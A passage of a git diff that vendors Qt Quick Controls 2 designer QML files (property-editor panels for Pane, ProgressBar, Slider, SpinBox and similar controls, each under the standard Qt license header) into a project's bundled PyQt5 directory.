width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSection.qml new file mode 100644 index 00000000..80d154c9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSection.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Pane") + + SectionLayout { + Label { + text: qsTr("Content Width") + tooltip: qsTr("Content height used for calculating the total implicit width.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentWidth + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Height") + tooltip: qsTr("Content height used for calculating the total implicit height.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentHeight + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSpecifics.qml new file mode 100644 index 00000000..f17b6399 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaneSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PaneSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ProgressBarSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ProgressBarSpecifics.qml new file mode 100644 index 00000000..c24d71db --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ProgressBarSpecifics.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("ProgressBar") + + SectionLayout { + Label { + text: qsTr("Indeterminate") + tooltip: qsTr("Whether the progress is indeterminate.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.indeterminate.valueToString + backendValue: backendValues.indeterminate + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Value") + tooltip: qsTr("The current value of the progress.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("From") + tooltip: qsTr("The starting value for the progress.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.from + Layout.fillWidth: true + } + } + + Label { + text: qsTr("To") + tooltip: qsTr("The ending value for the progress.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.to + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioButtonSpecifics.qml new file mode 100644 index 00000000..6137ad8c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioButtonSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioDelegateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioDelegateSpecifics.qml new file mode 100644 index 00000000..58063980 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RadioDelegateSpecifics.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ItemDelegateSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RangeSliderSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RangeSliderSpecifics.qml new file mode 100644 index 00000000..2324a66f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RangeSliderSpecifics.qml @@ -0,0 +1,189 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("RangeSlider") + + SectionLayout { + Label { + text: qsTr("First Value") + tooltip: qsTr("The value of the first range slider handle.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.first_value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Second Value") + tooltip: qsTr("The value of the second range slider handle.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.second_value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("From") + tooltip: qsTr("The starting value of the range slider range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.from + Layout.fillWidth: true + } + } + + Label { + text: qsTr("To") + tooltip: qsTr("The ending value of the range slider range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.to + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("The step size of the range slider.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.stepSize + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Snap Mode") + tooltip: qsTr("The snap mode of the range slider.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.orientation + model: [ "NoSnap", "SnapOnRelease", "SnapAlways" ] + scope: "RangeSlider" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Orientation") + tooltip: qsTr("The orientation of the range slider.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.orientation + model: [ "Horizontal", "Vertical" ] + scope: "Qt" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Live") + tooltip: qsTr("Whether the range slider provides live value updates.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.live.valueToString + backendValue: backendValues.live + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Touch drag threshold") + tooltip: qsTr("The threshold (in logical pixels) at which a touch drag event will be initiated.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10000 + decimals: 0 + backendValue: backendValues.touchDragThreshold + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RoundButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RoundButtonSpecifics.qml new file mode 100644 index 00000000..af4ab5d0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/RoundButtonSpecifics.qml @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("RoundButton") + + SectionLayout { + Label { + text: qsTr("Radius") + tooltip: qsTr("Radius of the button.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10000 + decimals: 0 + backendValue: backendValues.radius + Layout.fillWidth: true + } + } + } + } + + ButtonSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ScrollViewSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ScrollViewSpecifics.qml new file mode 100644 index 00000000..0f3d56d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ScrollViewSpecifics.qml @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("ScrollView") + + SectionLayout { + Label { + text: qsTr("Content Width") + tooltip: qsTr("Content height used for calculating the total implicit width.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentWidth + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Height") + tooltip: qsTr("Content height used for calculating the total implicit height.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentHeight + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SliderSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SliderSpecifics.qml new file mode 100644 index 00000000..d126dd06 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SliderSpecifics.qml @@ -0,0 +1,174 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("Slider") + + SectionLayout { + Label { + text: qsTr("Value") + tooltip: qsTr("The current value of the slider.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("From") + tooltip: qsTr("The starting value of the slider range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.from + Layout.fillWidth: true + } + } + + Label { + text: qsTr("To") + tooltip: qsTr("The ending value of the slider range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.to + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("The step size of the slider.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.stepSize + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Snap Mode") + tooltip: qsTr("The snap mode of the slider.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.snapMode + model: [ "NoSnap", "SnapOnRelease", "SnapAlways" ] + scope: "Slider" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Orientation") + tooltip: qsTr("The orientation of the slider.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.orientation + model: [ "Horizontal", "Vertical" ] + scope: "Qt" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Live") + tooltip: qsTr("Whether the slider provides live value updates.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.live.valueToString + backendValue: backendValues.live + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Touch drag threshold") + tooltip: qsTr("The threshold (in logical pixels) at which a touch drag event will be initiated.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10000 + decimals: 0 + backendValue: backendValues.touchDragThreshold + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SpinBoxSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SpinBoxSpecifics.qml new file mode 100644 index 00000000..db59f074 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SpinBoxSpecifics.qml @@ -0,0 +1,142 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("SpinBox") + + SectionLayout { + Label { + text: qsTr("Value") + tooltip: qsTr("The current value of the spinbox.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + backendValue: backendValues.value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("From") + tooltip: qsTr("The starting value of the spinbox range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + backendValue: backendValues.from + Layout.fillWidth: true + } + } + + Label { + text: qsTr("To") + tooltip: qsTr("The ending value of the spinbox range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + backendValue: backendValues.to + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("The step size of the spinbox.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + backendValue: backendValues.stepSize + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Editable") + tooltip: qsTr("Whether the spinbox is editable.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.editable.valueToString + backendValue: backendValues.editable + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Wrap") + tooltip: qsTr("Whether the spinbox wraps.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.wrap.valueToString + backendValue: backendValues.wrap + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/StackViewSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/StackViewSpecifics.qml new file mode 100644 index 00000000..ccfd8853 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/StackViewSpecifics.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeDelegateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/SwipeDelegateSpecifics.qml new file mode 100644 index 00000000..58063980 --- /dev/null +++ 